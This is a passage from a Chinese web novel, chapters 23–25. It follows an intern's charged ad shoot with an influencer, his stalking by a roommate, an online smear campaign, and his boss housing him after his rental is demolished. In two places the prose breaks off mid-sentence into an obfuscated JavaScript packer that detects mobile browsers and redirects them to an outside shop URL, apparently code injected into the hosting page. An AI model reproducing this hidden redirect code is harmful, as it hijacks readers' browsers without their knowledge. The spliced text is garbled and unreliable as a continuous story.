想到这里,季然有点儿演不下去了,这里这么多人,他倒不怕虎鲸对他做什么,他主要是替虎鲸尴尬。 他要是虎鲸,如果在工作时出现这种情况,已经自己找个地缝钻了进去。 季然别过脸,嘴唇无声地张合,仿佛想要缓解自己的尴尬。 不知是不是错觉,他感觉虎鲸呼吸也变得急促起来。 究竟还要拍多久啊,快点结束吧! 季然在心中无声催促。 “停一下。”策划叫了停,但却不是结束,而是说,“小班你情绪有点儿不对,你突然被别人冒犯,这时候你应该感到害怕,恐惧,甚至是愤怒。唯独不该是尴尬,你明白吗?” 季然闹了个大脸红,乖乖低头承认错误:“对不起,我会注意……” “我的问题,”虎鲸却接过他的话头,主动道,“麻烦再来一次。” 第三幕终于没再返工,策划一喊停虎鲸就从季然身上直起了身体。 他从头到尾都表现得非常淡定,甚至连现在都是如此。拍摄结束后,虎鲸就坐在沙发末端,他翘着二郎腿,漫不经心地浏览着手机里的信息,没人知道他衣摆下方是何般的汹涌澎湃。 作者有话要说 第 23 章 耳光。【新剧情】 第23章耳光。【新剧情】 第二幕是厨房戏份,摄影师重新布置了灯光,模拟出日出氛围。 虎鲸穿着白衬衫,系着同色围裙,正在厨房制作早餐。 镜头从后面拍摄,显得他肩宽腰细,充满了男性力量感。 紧接着,穿着白衬衫的男孩儿光着双脚走到镜头中,他从身后搂住虎鲸的腰,动作亲昵。 从衣服和时间的变化可以看出,他们已经共同生活了一段时间。 季然身上穿着虎鲸的衬衫,就像是一对儿刚起床的情侣。 男人低下了头,男孩儿以为男人要和他接吻,主动扬起下巴。男人却伸手一提,直接把男孩儿抱到了中岛台面。 冰凉的大理石台面让季然叫出声来,虎鲸却丝毫不怜香惜玉,拿过一杯牛奶强行喂季然喝了进去。 清晨,情侣喂食牛奶,这似乎是非常温情脉脉的一幕。 但此时给人的感觉却完全相反。 虎鲸的动作称不上任何绅士,比起喂季然喝牛奶,他更像是通过这一行为满足自己的暴虐私欲。 他喂得太急了,快得季然根本来不及吞咽,只能狼狈地看着牛奶从他嘴里不断溢出,顺着下颌打湿他胸膛,浸湿他身体。 漆黑的大理石台面流淌着白色液体,季然从坐姿变成半躺,最后整个人都躺了下去。 季然开始挣扎起来,他抓住虎鲸的小臂,呜咽着说自己已经喝不下了。 虎鲸却依旧没有停下,他强而有力地手掌按住季然身体,强迫他把整杯奶都喝了下去。 当最后一滴牛奶从杯子里落到季然唇间,这段酷刑终于宣告终结。 季然瘫软在中岛台上,狼狈至极,整个人都不住地喘息。 虎鲸却只是双手撑在台面,冷漠地注视着季然,没有任何安抚的意味。 季然挣扎着靠近他,疯狂拉着虎鲸的手想要寻求抚慰。 虎鲸却冷漠地抽出手,又拿起一瓶红酒从他身上淋了下去。季然整个人都蜷缩起来,他躺在全黑的大理石台面上,鲜红的红酒和牛奶混合,让整个场面显得圣洁又淫靡。 镜头从中景不断拉远、拔高,最后变成全景,从虎鲸正后方俯视。 这是一个非常意味深长的镜头,像是对季然的审判,又像是虎鲸用餐前的凝视。 整个拍摄过程中,现场气氛都非常凝重,直到最后一个镜头结束,摄影师激动地称赞道:“绝美! 策划也很 满意,竖起大拇指说:“很好,一遍过。” 至此空气终于再次流通,季然连忙从中岛台上爬起来,他身下布满了红酒和牛奶混合的液体,季然起来时差点儿摔倒,一旁虎鲸伸手扶住了他。 季然还沉浸在刚才的情绪中,有些茫然地抬起头,对上了一张完全陌生的面具。 不露脸是拍摄前就说好的,拍摄过程中也一直戴着面具,不只是虎鲸,季然自己上半张脸也完全挡了起来。 本来是保护隐私,但此刻骤然看到这么一张面具,季然却感觉有些不安。 中岛台很高,季然要从这么滑的地方下来也不容易,虎鲸说:“我扶你下来。” 季然愣了一下,仿佛被烫到一般收回手:“谢谢,不用了,我自己可以。” 拍摄过程中的虎鲸让他有点儿害怕。 虎鲸没有坚持,于是便放开了他。 季然说了句谢谢,自己从中岛台上跳了下来。台面有水,他支撑时滑了一下,落地时脚腕有点疼。 小姑娘举着浴巾追过来,询问他感受是否还好。 季然活动了一下,发现不严重,就没告诉对方,只说自己想去洗手间。 他衣服已经完全被打湿了,红酒和牛奶混成了一股奇怪的味道,让他浑身上下都黏滋滋的,季然有点儿想洗澡。 这个环境下洗澡可能有点儿困难,他至少希望能去洗手间处理一下。 小姑娘却告诉他楼上浴室可以洗澡。 “可以吗?”季然有些意外,“那不是下一场戏要拍的地方吗?” “现在还早呢,”小姑娘说,“下一场戏是晚上的,得等天黑了再拍。” 季然终于放心下来,带着换洗衣服去了楼上。 上楼时脚腕隐隐作痛,季然这才察觉可能是扭到了。但还能活动,应该不会影响拍摄。 季然上楼洗澡,可他没想到楼上只有一个浴缸,装在了卧室阳台上,像是一个艺术品。 或许是展示间,房间不能反锁,季然不敢脱光了洗澡,只能稍微擦一擦自己身体。 他在浴缸里放了水,赤脚走了进去。害怕摔倒,季然坐在浴缸边缘,弯腰给自己擦拭身体。 脸上的面具有些碍事,他取下来给自己洗了把脸。 本来打算洗完澡再戴,不料门外突然传来一道脚步声,季然连忙抓起面具扣在脸上。 “咚咚咚——” 几乎是同时,有人敲响了房间的门。 季然有些紧张,抓着衣领问:“谁?!” 那人却依旧沉默只是又敲了三下门。 搞什么啊搞得好像拍恐怖片一样。季然脚不方便行动身上也还没洗干净而且剧组里应该不会有奇怪的人。 过了大概一分钟门外彻底安静了下来季然缓缓松了口气以为人走开了。 门口突然传来“咔哒”一声响 季然呼吸一滞率先停下了动作。 他有些紧张地盯着虎鲸后者却视若无睹径直走到了他面前。 因为虎鲸的出现宽敞的房间很快变得拥挤起来。 季然张了张嘴觉得自己应该要说些什么他试图解释:“工作人员说我可以在这里洗澡我会在拍摄前清理干净浴缸的。” 虎鲸一言不发只是站在浴缸旁边看着他。 季然又想起了拍摄时虎鲸看他的那一幕他衣衫不整地躺在中岛台上身上布满了乱七八糟的液体虎鲸就是用这种眼神看着他。就像是原始森林里捕猎的猛兽让季然本能地产生了危机感。 季然抓起一旁的浴巾正准备起身离开虎鲸却当着他的面跪下来。 季然大脑轰的一声响霎时一片空白。 很难形容这一幕给人带来的冲击虎鲸一言不发地跪在他面前光是看着这一幕季然就尴尬得整张脸都红了连身体皮肤都泛起了大片红晕。 而且虎鲸的跪姿非常标准双膝分开触地臀部靠着脚后跟后背笔挺——一个典型的西装跪。 可是虎鲸为什么要跪他? 就在季然爆炸前一秒让他更加爆炸的事情发生了—— 虎鲸伸出双手捧起他的脚竟然在给他洗脚。 季然目瞪口呆地看着这一切季然满脑子都是我在哪儿我在做什么我难道在做梦吗? 可是脚上的触感又无比真实他甚至能感到虎鲸手掌的温度还有流水冲刷过脚面的酥痒感。 季然双手死死抓着浴缸边缘十根脚指头都蜷缩在了一起。在季然懵逼过程中虎鲸给他洗完双脚然后仔仔细细地擦干净又不知从哪儿拿出一袋冰块儿给他冷敷扭伤的脚踝。 原来是要给他看伤? 季然松了口气可他不太能容忍一个陌生人对自己做这种动作他稍微挣扎了一下虎鲸就停了下来。 季然连忙把脚缩回来虎鲸隔着面具看了他一眼然后就起身走了但留下了冰块和膏药。 季然提心吊胆地继续洗 澡,好在接下来都相安无事,季然迅速换好衣服又清理浴缸,逃一般地离开了现场。 这一整件事都让季然感到非常困惑,同时也非常不可思议。 尤其当季然在楼下遇见虎鲸,看见对方一脸高傲地远离人群,不管谁去搭话都爱答不理时,季然心中那种诡异的感觉更明显了。 刚才出现在楼上的那个人真的是虎鲸吗?如果真是他,可他为什么又要做这种奇怪的事情? 就算是给他送药,也不至于一句话都不说吧?甚至还跪下来给他洗脚…… 想到这里,季然脸又红了起来。 距离天黑还有一会儿时间,品牌方给他们安排了一顿简餐,吃完饭天也黑了,第三幕拍摄开始了。 这是一个卧室场景,就在季然下午洗澡时的房间里。 季然睡在床上,只露出一道纤瘦的背影。一旁传来哗哗的水流声,是虎鲸在泡澡。季然躺在床上看不见浴缸,但可以从工作人员惊艳的表情中,推测出虎鲸身材傲人。 然后是出水声,浴巾擦拭皮肤的声音,赤脚踩过木地板的声音,身后的床开始下陷,鼻尖传来沐浴球的气味,季然肩膀突然一热,后颈仿佛有羽毛拂过—— 虎鲸吻了下来。 只是借位的一个吻,但他们距离靠得太近,让季然整个人都非常紧绷。 “小班你动作太僵硬了,摄影师告诉他,“你们现在是情侣关系,现在又是晚上睡前,应该是很放松的状态。 季然说对不起,又重新来了一次。 摄影师依旧不满意,和策划商量后说:“算了,别拍借位吻了,虎鲸你直接从后面抱他吧。 于是他们开始拥抱。 虎鲸不过是双臂搂住他的身体,中间甚至隔了一层厚厚的羽绒被,季然身体就颤抖起来,莫名有些想要流泪。 好温暖,好有力的身体,和四肢冰凉瘦弱的他完全不同。 虎鲸抱住他身体时,会带来一股轻微的压力,稍微有些喘不过气,但季然喜欢这种有限度被禁锢的感觉,就像是在冬天躲进温暖的被窝,让他感到安全与可控。 季然性格内敛,极少与人有身体接触,更别提是拥抱这种亲密动作了。 别人都说他冷淡,独立,难以接近。 季然也一直这样以为,他从小学就开始住校,不恋家,和父母关系不亲密,也从没谈过恋爱。他一直以为自己没有亲密关系的需求,更不会喜欢和人有肢体接触。 可直到现在他却发现,原来他是喜欢拥抱的。 他喜欢和人皮肤接触的触感喜欢这种完全交付出自己的时刻。 太舒服了季然没忍住哼了一声。 虎鲸顺势把脸埋进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782723|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他后颈。 是季然耳后挨着脖子的那一片区域这里平时被碎发遮挡极少见光皮肤尤为白嫩敏感得要命。 季然脸轰地一下烧了起来。 太过了。 不管是虎鲸的动作还是体温甚至只是呼吸扫过都让季然敏感得要命。 他想要推开虎鲸身体却一阵发软怎么也使不上力。 细细麻麻的酥麻从后颈蔓延至全身最后汇聚到一处尤为明显的区域。 季然脑袋被烧成浆糊只得本能地夹住双腿弓起了身体…… 他曾经觉得虎鲸不像寒深可此时此刻这两道身影又在他心中诡异地重合在了一起。 季然猛地一震紧接着便是羞愧难当。 他疯了吗?他为什么会在这种时候想起寒深?他明明只把对寒深做自己上司…… “好好好这个互动很好!非常棒!” 直到摄影师的声音响起季然者才意识到拍摄结束了。 虎鲸松开双臂季然迅速从床上下来他拖过外套遮住下半身整张脸红得诡异。 怎么会这样啊啊啊啊他怎么会对自己不喜欢的人有这种反应…… “小班老师”一直照顾他的姑娘递了杯水过来有些好奇“你不舒服吗?你的脸好红啊。” 季然耳朵尖通红面无表情吐出两个字:“热的。” 没有休息太久他们又马不停蹄地开始筹备下一幕的拍摄。 接下来都是季然的反杀情节他不仅要踹虎鲸胸膛还要再甩虎鲸耳光。 季然从没扇过别人耳光有些不确定:“真的要打吗?” 策划当然是想来真的但是她也有些畏惧虎鲸的身份主动问:“虎鲸老师怎么看?” 虎鲸正坐在一旁看台本听到这话又抬头问:“你怎么想的?” “当然实打效果更好”策划说“但如果您这边介意我们也可以借位 虎鲸应该会拒绝吧? 他这样性格地位都高高在上的人怎么会让别人扇他耳光? 季然心中猜测然后他就看见虎鲸放下台本说:“那就实打吧。” 季然手有点儿抖又隐隐有些兴奋。 直到开拍前他整个人都处于一种不正常的亢奋中 目光跟台自动追焦相机似的锁定了虎鲸的脸。 看着季然气势汹汹拿着绳子站在床边,策划笑着说:“看来小班对虎鲸怨念很深啊。” 虎鲸很有涵养地说:“可以理解。” 季然:“……” 他瞪了虎鲸一眼,也没放过策划,又说:“剧本是你写的。” 策划笑着求饶:“我的错,今天辛苦您了。” 季然哼了一声,倒是不好生气了。 剧情接着他们刚才在床上亲密那一幕,情事结束后,虎鲸在床上睡觉睡着了,床上却只有他一个人。 镜头拉远,这才发现季然手里拿着一捆绳,站在床边。 蛰伏许久的男孩儿,终于开始了自己的报复。 卧室布光模拟夜晚的真实环境,他们住的又是低层别墅区,房间及其昏暗,几乎看不清人影。 但相机感光度高,可以准确地记录两位演员的行迹。 太黑了,季然都快看不清虎鲸的手在哪里了。好不容易才找到了,又发现虎鲸的手是分开的,季然不敢硬拉,只得把他双手分开捆在床头。 刚捆完一只手,床上的虎鲸突然醒了,剧烈地挣扎起来。 季然一脚把人踹回被窝,迅速拉紧绳子,见虎鲸还要反抗,一巴掌扇就了过去。 “啪”的一声脆响,虎鲸结结实实挨了这一下。 季然第一次扇人耳光,紧张得心脏怦怦直跳。 但现在还没有结束,他硬着头皮继续往下演,直到摄影师喊了停,这才终于停下了动作。 最后还剩下两场戏,一场是虎鲸躺在浴缸,身下溢出鲜红的血液;还有一场是季然站在窗前,他穿着虎鲸的睡衣,享用红酒与美食。 这两场都不是对手戏,他们分别拍完,各自收工回了家。 离开时下起了雨,品牌方家居馆在郊区,最近的地铁站都距离4公里,时间不算太晚,季然打算打车到地铁口。 郊区晚上不好打车,再加上是雨天,季然等了快十分钟才叫到车,还要从4公里外的地铁站开过来。 寒深开车出来时,就看见季然一个人站在家居馆门口。 他没带伞,雨下得大了,就有些狼狈地往后面缩。 寒深本来不想管的,季然只是他下属,如非必要,他不希望和季然有工作以外的联系。 会所那件事已经是破戒,之所以愿意答应广告拍摄,也是想要解决季然的经济危机,让他专注工作而已。 下属就是下属,他不会和季然发展超出同事之外的关系。他的家庭、工作、甚至是本人的意愿,都不允许他发展任何多余的心思。 可季然深夜在路边等车的样子又太过可怜,寒深转动方向盘,把车开过去。 他只是顺路送季然回家,没有其他的意思。 作者有话要说 第 24 章 他想交出自己的一... 第24章他想交出自己的一 寒深把车开向门口,刚走到一半手机突然响了。 寒深看了眼来电显示把车停在了路边。 “爷爷。” 窗外细雨霏霏寒深声音沉沉。 “我帮你约的歌剧怎么没去?”寒震杰问他,“人家小姑娘等了你一晚上。” 寒深:“我跟她说过了,我有事。” “没看上人家?”寒震杰又问“你喜欢什么样的?告诉爷爷,就算是天上的仙女儿我都给你找回来。” 寒深抬头看向前方,他已经不再屋檐下躲雨了。 男孩儿戴着口罩背着双肩包手机倒立正蹲在路边拍水坑里的倒影。 他拍得很认真,直到屋顶的雨滴落下来,季然被冰到后颈,又迅速缩了回去,低头查看刚才拍下的照片。似乎是还算满意,寒深看见季然在口罩下笑弯了眼睛。 寒深安静地看了会儿,心道原来生活中的季然,也会有这么稚气的时刻。 又过了几秒他这才收回视线对手机那头说:“我没特别喜欢的。” “还是太挑剔了”寒震杰说“你也该为自己做好打算了。家庭是男人的重要组成部分,你都三十好几了还不成家,让我怎么放心把偌大的家业交给你?” 寒深没有回答后一个问题,只是说:“也有女方看不上我。” 寒震杰竖起眉毛:“你是我寒震杰的长孙,哪家姑娘敢挑剔你?!” 寒深:“可我是单亲家庭,还有个在国外治病的弟弟。” “咱们这样的家庭,还有人在乎你单亲不单亲?”寒震杰摇头不赞同道“更何况 窗外的雨大了起来噼里啪啦地砸着车窗玻璃。 寒深没开雨刷器已经看不清前方季然的身影。 他于是收回视线看向车前放的一个黏土摆件儿说:“我想把寒岁接回来让他和我一起生活。” 他们已经很久不曾提起过寒岁这个名字了哪怕寒岁也是寒震杰血脉相依的亲孙子。 那边沉默了一瞬说:“你弟弟的情况你自己知道你如果和他一起生活人家姑娘更不可能喜欢你了。” 寒深:“我无所谓。” 寒震杰突然拔高了声音:“可我有所谓。” 寒深:“可我们都知道那不是他的错。” 没人再说话只有 头顶雨声越发沉沉。 前方亮起两点红光,似乎是有车过来了,寒深已经彻底看不清窗外的东西。 他正准备打开雨刷器,寒震杰的声音重新响起:“不许再提他,我之前就已经表态了,这件事情没有回转的余地。” 寒深:“岁岁已经好很多了,也愿意与人交流。” 寒震杰反问:“那他能和正常人一样吗?” 寒深沉默了下来。 寒震杰不想因此弄僵和长孙的关系,又缓缓补充:“我知道你善良,有责任心,这也是我最看重你的品质。如果你实在想他,等你结婚时我让他回来,也算圆满了你们的兄弟之情。” 寒深没说话,那边把话说完,就挂断了电话。 寒深打开雨刷器,眼前模糊的画面终于逐渐清晰。 他这才发现屋檐下方没有人,季然早就坐网约车离开了。 寒深把身体靠在座位上,听着雨刷器发出的哒哒声,寒深闭上眼,脑海中又浮现出季然在屋檐下笑的场景。 他想,其实他没有资格觉得季然可怜。 · 三天后,季然和虎鲸合作视频上线,反响剧烈。 [震惊!!小疯子竟然和虎鲸大大合作了??!!] [反复刷新了好多遍,是真的,妈妈,我嗑的CP成真了!] [好好好,3分钟的视频,你们把蒙眼play,湿衣play,捆绑play都玩了个遍。] [谁懂虎鲸被扇耳光的含金量,真的爽死我了。] [我看是爽死虎鲸了吧。] [啊啊啊啊!!我不许!!怎么有人敢扇虎鲸大大耳光!!] [虎鲸大大,你如果被绑架了就眨眨眼!为什么会接这个广告啊?] [虎鲸]:欠了一个人情。 [小疯子你也算出息了,全网就你一个人和虎鲸拍这种片子。] [不如直接抱虎鲸大腿,把你那个讨人厌的老板踹掉。] [就是!还不如做全职博主,你现在这个粉丝量肯定能赚钱了,还不用受上司的气!] [上班哪有不疯的]:暂时不会考虑。 [虎鲸]:很正确的决定。 [上班哪有不疯的]:? [网友]:??? 好好好,当着我们的面打情骂俏是吧??原来我是你们play的一环! 这次视频给季然带来了极高的流量,除了拍广告本身的收益,粉丝增量和视频激励收入也相当可观。 不过季然也不打算当全职博 主,这次视频能大爆主要还是靠虎鲸,摄影师也占了很大的因素,季然自己达不到这样的效果,他还是想从事和他专业相关的工作。 而且季然还发现,视频发布第二天,他似乎就被跟踪了。 他以为是会所事件报复他的人,就把这件事告诉了冷令辞,对方说会调查,让他注意安全,保留证据。 见面时冷令辞告诉季然,会所事件已经告一段落,说完他拿出奖状和装着1000元奖金的信封,说这是给他们的表彰,让季然把另一份带给寒深。 季然点头说好,心头却有些没底。 不知是不是错觉,最近季然觉得寒深在刻意躲着他。具体表现为几乎不当面找他了,安排工作也非常简洁,甚至连挑他错误的频率都低了。 虽然有些疑惑,但季然对此乐见其成,他巴不得老板永远不要找自己。 第二天,季然把奖状和奖金带到公司。寒深办公室外就是Asher和Luke的工位,平时他们就像两只小蜜蜂一样,随着寒深的指令四处忙碌。 不过现在他们都不在,这种小事季然又不想麻烦他们,干脆自己进去找寒深。 办公室门留了一个缝,季然先是敲了三下门,无人应答,又探了半个脑袋进去,没人。 他转身要走,突然撞上一堵温热的胸膛。 “有事找我?”寒深不知什么时候过来了,居高临下地打量季然,语气没什么温度。 现在季然已经没那么怕寒深了,拿出奖状和信封说:“会所的调查结束了,冷警官给了我们奖状和奖金,说是对我们的表彰,这是你的份。” 寒深伸手接过,季然便转身离开了。 回到工位,季然给冷令辞发消息,说他把东西给寒深了。过了一会儿,冷令辞告诉他,警方已经根据天眼系统找出跟踪他的人了。 季然一看照片,人有些懵,这不是他室友吗? 他室友跟踪他干什么?果然还是发现了他的网络账号吗? 难道要威胁他?勒索他? 但他室友只是在大街上进行跟踪,就算进了小区,也可以解释自己回家,并没有什么过激行为。这种情况下,很难界定跟踪行为,自然也无法提起法律诉讼。 冷令辞提出可以陪季然回家,就算不能做些什么,但他刑警身份在这里,至少是个威慑。 季然不好意思麻烦他,婉拒了冷令辞。 说到底他和冷令辞只是萍水相逢,如果不是上次在会所里认识了警察,季然这种情况报警都没人搭理。 而且他室友是个昼伏夜出的阴湿男,熬夜体虚,身体瘦弱,个子也不高,看起来就很不经打。真发生冲突,季然也不觉得自己会输给他。 季然打定主意要处理这个室友,提前结束工作,赶在室友上夜班前回了家。 却没想到还没抓到人,又在大门口发现了一个包裹,收货人写着他的网络ID:@上班哪有不疯的。 季然心一下就沉了下来,他从没用这个ID买过东西。季然已经猜到,里面不会有什么好东西了,他做足了心理准备,这才把东西带进了屋。 拆开后里面放着一张血书,不过季然仔细一看就发现这不是血,应该是某种红色颜料,非常夸张地写着两行大字: 易燃你个死贱人,离虎鲸远点儿! 你干过的这些事我都知道,你如果再敢接近虎鲸,我会暴露你的所有信息! 季然有些烦躁,怎么又和虎鲸扯上关系了? 这种情况他没法儿自己处理了,季然拍照片发给冷令辞。室友是个怂包,被冷令辞抓着胳膊按在墙壁上,就什么都交代了。 他确实跟踪了季然,还出卖了他的个人信息。 冷令辞:“都卖了什么信息?” 室友哆嗦了一下,交代道:“就姓名,手机电话,邮箱,住址……” “卖给谁了?” “不知道,我在论坛上看见的消息,交易也是网络邮箱。” 这种情况很难追查,冷令辞找对方要来网址,说发给技术人员试一试。 季然心里有了个人选,但还不太确定,他问室友:“门口那个包裹你放的?” “不是,”室友摇头,“我只是在网上把东西给别人了,别的事情都和我无关。” 说到这里,他沮丧起来:“我也只是缺钱,一时财迷心窍,早知道你有个警察朋友,我肯定不会干这种事。” 季然才不信他这番鬼话,冷着脸问:“别的还有没有?” 室友摇头:“没、没有了!” 季然松了口气,信息泄露比他想象中要少一些。 因为之前他跟江宁一块儿玩,会帮忙去漫展当工作人员,在外都是用花名,他和室友沟通也都是用“易燃”这个名字。 “真没有?”冷令辞眯起眼睛,“我们查出来就不是这个后果。” “还有些照片。”室友又交代道,“在我电脑里。” 季然看了眼,照片都只有背影,或许是害怕被他看见,这人一直不敢绕到前方拍正脸。 但让季 然奇怪的是,怎么有好多他上下车的照片? 季然跟冷令辞回警察局做笔录,一个小时后,他得到了问题的答案。 一个三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782724|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无小号爆他做鸭—— 别以为和虎鲸拍视频就高贵了,鸭子就是鸭。 应该是买了推流,视频流量奇高。 [我靠,怪不得博主这么骚,原来是福利鸭?] [听说他还有付费群,尺度超级大。] [就这样还想和虎鲸组CP?癞蛤蟆想吃天鹅肉呢?] [我朋友约过他,很骚,给点儿钱就随便玩儿,还会主动帮忙**] [我朋友和他是室友,说他卧室天天有不同的男人出没,也有人开车来接他出去玩,玩得可大了] 配图是季然加班打网约车、或者寒深偶尔送他一次的照片,车牌和开车的人都打了码,反而营造出了一种牵扯不清的气氛。 [这不就是我家附近?!呼叫警察叔叔扫黄!!!] [这个小区我很熟悉啊,住的大部分都是打工人,超级无敌乱!] [博主不是要卖吗?兄弟们,冲啊!!] 不知道下场了多少水军,整个评论区恶臭连天。 或许是之前就有了准备,季然并没有很生气,还能冷静地收集证据,只是觉得有些恶心。 视频不止这一个号发,季然全都保存下来,发给了冷令辞。 “你给的链接没错吗? 打不开?怎么会? 季然重新点进去,发现之前的视频都不见了。他又在网上搜索,之前那些消息全没了,刚冒出来一条,又很快被夹掉。 难道对方发现他报警了,打算自行毁灭证据? 季然一脸迷茫,然后他收到了虎鲸发来的消息:消息我都压下去了,造谣的人我会起诉。至于你住址泄露的事情,我有套房子空着,你可以先搬进去。 季然本来心情就不太好,听他这么一说更烦躁了。 他们什么关系?虎鲸就让自己搬进他家? 他要是大大咧咧住进去,那更坐实自己是出来卖的了。 [上班哪有不疯的]:不去。你要是有这个功夫,不如好好管管你的极端粉。 [虎鲸]:抱歉,我会约束他们的行为。但你家附近不安全,你最好搬离这个小区。 [上班哪有不疯的]:不劳您费心。 季然干脆利落地拒绝了虎鲸,再也不想和他发生一丁点儿关系。 晚上冷令辞送他回了家,也叮 嘱他最好找个机会搬出去。 不用他说季然也打算搬家了,但他最近工作很忙,根本请不出一天假。 季然提前在网上看好房源,打算周末看房再搬出去。 不料当他第二天回家时,发现自己住的隔间被暴力敲断,建筑碎石,私人物品全都散落一地。 季然脑袋有一瞬的空白。 他怎么也想不到,自己房间竟然都没了。 难道是室友报复他?还是那些黑子找上门来了? 不对,不止是他,隔壁客厅的隔断也没了。 季然一脸懵逼地站在原地,没过多久,住客厅的室友也回来了,和他一样不敢相信。 对方告诉季然,他前几天在大门上发现了清除违建的警告,中介说没问题,让他安心住,没想到还是被拆了。 季然和室友都联系了中介,不知是心虚还是时间太晚,中介电话一直打不通。 客厅里的室友骂骂咧咧去投奔朋友,季然没有可以借宿的本地朋友,只能先去住酒店了,明天再去看房。 好在他最近挣了不少钱,经济稍微松快了一些。 季然坐在脏兮兮的床边给寒深发消息请假,拍照时他整个人都是颤抖的,打字时眼泪屡次要落下来,都被他抬手抹去了。 看着这一室断壁残垣,季然觉得被敲碎的不仅是这面隔断墙,一同破碎的还有他的自信、尊严,还有一些别的东西。 庇护所被放在马斯洛需求最底层,季然自诩要留在大城市实现自身价值,现在却连这最基本的睡眠需求都得不到保证。 “嗡——” 寒深电话打了进来。 “你还好吗?”男人沉稳的声音里带上了明显的焦急。 季然眼眶一下就红了。 “我、我没事,”他握着手机,鼻尖酸得要命,努力回答寒深的问题,“就是明天我可能不能去上班了,我要去找住的地方……” “别着急,你先收拾一下东西,”寒深缓缓开口,声音温柔得不可思议,“我半个小时后到,先带你去住的地方,其他的稍后再谈,可以吗?” 季然本来想说不用,他可以自己解决。 他都已经决定要去住酒店了。 可他实在是太难受了,生活中的问题他可以自己解决,但心理上的无助感,他却不知道该如何抹去。 季然变得脆弱,渴望依恋,他想交出自己的一部分,自尊、痛苦,亦或是压力。他想他有个人支持他,在自己哭泣时用力拥抱他,告诉他一切都会过去。 “嗯,麻烦您了。” 季然闭上眼,眼泪跟着落了下来。 作者有话要说 前面几张重写了!大家记得刷新!本章评论区掉落100个红包~ 第 25 章 放你一天假,记得... 第25章放你一天假,记得. 等寒深过来的时间里,季然蹲在地上收拾自己的行李物品。 整个房间都布满灰尘,私人物品被碰得到处都是,好在他贵重物品都带在身上,衣服也好好儿收在衣柜里,没有出现什么财务损失。 实习四个月来,除了拍视频穿的女装,季然几乎没有置办什么私人物品。 他只有三套衣服,一个行李箱就装下了。 剩下的裙子体积也不大,季然把裙子和棉被一起打包装进编织袋。最后只剩下一套西装还没装完,是那次在警察局,寒深给他买的西装…… 高档西装被他挤在廉价的出租屋衣柜里,虽然他用防尘袋装着,但也染上了一些灰。 季然伸手把灰尘一点点擦干净,仔仔细细地拎在了手里。 20分钟季然就收拾好了所有东西,寒深已经到了小区门口,在电话里问季然具体的楼栋信息。 小区道路窄不好停车,季然不想让寒深麻烦,说:“我到门口吧。 寒深:“没事,我开过来。 季然看着自己两大包行李,还有一套需要手提的娇贵西装,就没有拒绝。 等寒深过来的时间里季然有些焦虑,他对着镜子检查自己的五官、发型,衣服是否洁净。可当他看着这堪比工地的卧室,又霎时泄了气。 寒深却没有露出任何异常,一身高档西装、手工皮鞋踏进出租屋,他看了一圈周围的环境,问季然:“东西都收拾好了吗? 季然说收拾好了,他提着行李箱走到门口,不想让寒深踩到地上的水泥。 “那个也是?寒深看向房间里的编织袋。 季然说是,怕寒深等得不耐烦,他解释道:“我马上拿过来。 寒深却踩着灰尘走进去,单手拎起袋子,很自然地问他:“还有别的东西吗? 季然愣了下,摇头说:“没有了。 “那走吧。 季然本来想说自己拿就可以,可寒深动作太快了,搬运重物也轻而易举,季然抿了抿唇,只拎了一套西装跟进了电梯。 寒深开的是一辆奔驰G,四四方方的硬派越野车,空间大,底盘也高,季然坐在副驾驶,低头替自己系好安全带。 汽车在夜色中汇入主路,看着窗外略过的陌生街景,季然双手抓住安全带,有些不安。 他很小幅度地侧眸看了寒深一眼 ,季然以为自己这个动作做得很隐秘,可寒深却看见了他,主动解释:“就快到了,我在公司附近有套空房子,今晚你先住那里。 季然这才放下心来,乖巧地说了声“哦。 没过多久,汽车驶入一个高档小区。小区绿化很好,玻璃幕墙外立面非常漂亮,内部还有健身房、泳池、网球场,物业会主动向业主打招呼。 季然抓紧书包肩带,努力克制住四处打望的欲望,跟着寒深进入电梯。 开门的一瞬间,室内灯光就自动亮起,房间装修高档又简洁,季然站在门口,一时间有些手足无措。 寒深拿出拖鞋放在他面前,季然踩在入门鞋垫处换上,小心翼翼放好自己沾满灰尘的鞋。 这套房子一百多平,但只有一个卧室,是一套非常完美的单身住所。屋内非常干净,大面积的白,点缀着红、黄、蓝的家具和装饰,有一种纯净的童趣感。不敢想象白天阳光洒进来,这个房子会变得多么漂亮。 寒深说向季然介绍各个区域的功能,又说:“这套房装修好就一直没人住,家里没什么东西,你先将就用着,缺的东西我明天让人送来。 “没事的,季然摇头,“东西我有带。 他有些犹豫:“新房子,给我住没关系吗? “没关系, 又是那个弟弟,之前可以让寒深贴心地给他买西服,刚成年又有了这么漂亮的房子当家底。 差距太大了,之前季然还会羡慕,现在只有释然了。 人和人就是不一样的,与其对自己的命运感到不公,还不如踏踏实实改变当下。 而且,这里的夜景真的很漂亮。 他短暂地看过,已经很满足了。 想着只是今晚暂住,季然没有拆开行李,只拿出今晚洗澡要穿的衣服。 时间已经不早了,但寒深还在客厅,季然不好使用浴室,坐在沙发上拿出了手机。 中介终于回了他的消息。 结果不太好,中介似乎不是第一次遇到这种情况,很强硬地回复:租房合同里有规定,基于不可抗力造成的损失,公司不提供赔偿。唯一做出的解决方式,是给季然提供另一处住处。 季然有些不想去,经过这件事,他已经不信任这家中介了。 